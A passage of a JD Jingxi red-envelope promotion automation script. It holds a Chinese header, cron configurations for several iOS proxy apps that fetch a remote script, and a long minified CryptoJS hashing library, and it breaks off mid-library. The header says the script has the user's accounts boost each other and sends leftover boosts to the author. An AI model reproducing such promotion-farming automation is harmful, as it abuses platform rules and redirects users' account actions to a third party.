-活动入口:京喜app-》我的-》京喜领88元红包 -助力逻辑:先自己京东账号相互助力,如有剩余助力机会,则助力作者 -温馨提示:如提示助力火爆,可尝试寻找京东客服 -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#京喜领88元红包 -4 2,10 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, tag=京喜领88元红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -==============Loon============== -[Script] -cron "4 2,10 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js,tag=京喜领88元红包 - -================Surge=============== -京喜领88元红包 = type=cron,cronexp="4 2,10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js - -===============小火箭========== -京喜领88元红包 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxlhb.js, cronexpr="4 2,10 * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 